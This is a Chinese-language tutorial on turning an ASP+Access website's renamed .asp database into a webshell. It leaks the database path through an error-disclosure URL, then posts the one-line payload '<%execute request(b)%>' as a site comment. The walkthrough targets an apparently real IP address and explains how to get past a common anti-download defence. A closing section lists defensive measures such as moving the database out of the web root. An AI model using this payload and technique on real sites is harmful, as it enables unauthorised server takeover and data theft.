可能是隨著網路安全技術的發展吧,管理員的素質都在提高,在使用access+asp系統時,為不資料庫被人下載,到把mdb改為asp或asa。先不說直接改後綴,直接可以用網路快等工具直接下載,其實這樣你已經是為入侵者打開了大門。入侵者可以利用asp/asa為後綴的資料庫直接得到webshell。
一.思路
大家都知道<%%>為asp檔的標誌符,也就是說一個asp檔只會去執行<%%>之間的程式碼,access+asp的web系統的所有資料都是存放在資料庫檔案裡(mdb文件),由於管理者把mdb文件改為asp文件,如果我們提交的資料裡包含有<%%>,那當我們訪問這個asp資料庫的時候就會去執行<%%>之間的程式碼。這樣導致我們只提交惡意程式碼給資料庫,那麼asp後綴的資料庫就是我們的webshell了。
二.範例
隨便找個目標,首先我們暴庫,看是不是asp後綴的資料庫:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
返回:
複製代碼代碼如下:
Microsoft VBScript 編譯器錯誤錯誤'800a03f6'
缺'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 錯誤'80004005'
'D:/log_mdb/%29dlog_mdb%29.asp'不是一個有效的路徑。 確定路徑名稱拼字是否正確,以及是否連接到檔案存放的伺服器。
/test/conn.asp,行18
我們提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp回傳一堆的亂碼,這樣我們可以直接用網路快車等工具直接下載資料庫(這裡我們不討論)。我們回到首頁看到有提供網友評論功能。我們註冊個用戶,發一則留言:
<%execute request(b)%>
這樣我們就把asp程式碼:<%execute request(b)%>寫入了資料庫,那麼資料庫:就是我們的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在亂碼的最後我們看到:
複製代碼代碼如下:
/iisHelp/common/500-100.asp,行242
Microsoft VBScript 執行階段錯誤錯誤'800a000d'
類型不符: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266
注意:我們在向資料庫提交程式碼時,程式碼內容不可以太大。所以我們採用<%execute request(b)%>。
三.其他一些問題和思路
1.對於改了後綴為asp,也對資料庫裡加入了<%='a'-1%>等非法的asp程式碼來徹底防止下載的資料庫,由於裡面存在了非法的asp程式碼,插入我們的webshell程式碼後運行,只會顯示前面非法程式碼的錯誤,而不去執行我們shell的程式碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯的程式碼前加入相容錯誤的程式碼,就可以得到正確顯示執行我們插入的webshell程式碼了。
2.對於沒有改後綴的,也就是mdb文件,這樣我們可以先直接下載下來得到後台密碼,進了後台,可以利用資料庫備用改後綴為asp。
mdb防下載方法小結
1:在iis6下面如果一個副檔名沒有被定義則存取的時候會出現檔案沒有找到的404錯誤。
因此你可以將資料庫任意命名成一個絕對不會出現的檔名就可以達到安全的效果例如:xxxxx.xxxxxxxxxxxx
2 將資料庫放在網站的外部,那絕對就不能存取得到了。例如: e:/web/是你的網站
則把資料庫放在e:/
3 如樓上所說的將.mdb 改成.asp 同時倒入一個特殊的表包含<% 的二進位字元這樣存取文件出現缺少腳本關閉符的提示。
4 或將.mdb 改成.asp 同時用winhex開啟可以發現176以後有很長一部分00 字串你隨便在處改成一段asp程式碼也可以實現防止下載,這樣也不影響資料庫功能。例如:
<%
response.write(非法訪問)
response.end()
%>
現在在資料庫的名稱裡加上# 和空格都被破解了例如# = <%35 而空格= <%20
所以說現在用這些已經不管用了。 。
如果是自己的伺服器的話就在IIS裡設定一下:
新建一個空白的DLL文件,然後在IIS裡添加映射,可執行文件選剛才建的這個DLL,擴展名填.mdb,保存後重啟一下IIS服務即可。